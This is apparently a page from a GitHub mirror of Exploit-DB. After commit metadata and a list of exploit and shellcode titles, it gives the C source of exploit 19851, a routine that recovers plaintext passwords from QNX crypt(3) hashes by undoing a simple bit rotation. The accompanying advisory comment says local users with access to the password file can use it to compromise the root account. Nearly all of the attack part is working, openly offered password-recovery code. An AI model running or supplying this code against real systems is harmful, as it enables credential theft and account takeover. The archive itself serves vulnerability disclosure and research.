exploit-db-mirror/exploits/qnx/local/19851.c
Offensive Security 880bbe402e DB: 2019-03-08
14991 changes to exploits/shellcodes

HTC Touch - vCard over IP Denial of Service

TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities

PeerBlock 1.1 - Blue Screen of Death

WS10 Data Server - SCADA Overflow (PoC)

Symantec Endpoint Protection 12.1.4013 - Service Disabling
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow

man-db 2.4.1 - 'open_cat_stream()' Local uid=man

CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation

CDRecord's ReadCD - Local Privilege Escalation
Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH)
FreeBSD - Intel SYSRET Privilege Escalation (Metasploit)

CCProxy 6.2 - 'ping' Remote Buffer Overflow

Savant Web Server 3.1 - Remote Buffer Overflow (2)

Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow
QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)
Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit)
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)
Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass)
TeamCity < 9.0.2 - Disabled Registration Bypass
OpenSSH SCP Client - Write Arbitrary Files
Kados R10 GreenBee - Multiple SQL Injection
WordPress Core 5.0 - Remote Code Execution
phpBB 3.2.3  - Remote Code Execution

Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
2019-03-08 05:01:50 +00:00

62 lines
No EOL
1.7 KiB
C

/*
source: https://www.securityfocus.com/bid/1114/info
A design error in the operation of the crypt(3) function exists in QNX, from QNX System Software, Limited (QSSL). The flaw allows the recovery of passwords from the hashes.
On most Unix variants, crypt(3) is based on a variant of the DES encryption algorithm, used as a hashing algorithm. QNX, however, implements its own hashing algorithm, which, unlike standard crypt(3), contains all the information required to directly recover the password. This can result in the recovery of passwords by local users who have access to the password file, which in turn can result in the compromise of the root account.
*/
static ascii2bin(short x)
{
if (x>='0' && x<'A')
return x-'0';
if (x>='A' && x<'a')
return (x-'A')+9;
return (x-'a')+26+9;
}
char bits[77];
char *quncrypt(char *pw)
{
static char newpw[14];
int i;
int j,rot;
int bit,ofs;
char salt[2];
int temp;
salt[0]=*pw++;
salt[1]=*pw++;
for (i=0;i<72;i++)
bits[i]=0;
for (i=0;i<12;i++)
newpw[i]=ascii2bin(pw[i]);
newpw[13]=0;
rot=(salt[1]*4-salt[0])%128; /* here's all the saltdoes. A rotation */
for (i=0;i<12;i++)
{
for (j=0;j<6;j++)
{
bit=newpw[i]&(1<<j); /* move password into bit array */
bits[i*6+j]=bit?1:0;
}
}
while (rot--) /* do the big rotate */
{
bits[66]=bits[0];
for (i=0;i<=65;i++)
bits[i]=bits[i+1];
}
for (i=0;i<8;i++)
{
newpw[i]=0;
for (j=0;j<7;j++)
{
bit=bits[i+j*8];
newpw[i]|=(bit<<j); /* and compile the bit array back */
}
}
newpw[8]=0;
return newpw;
}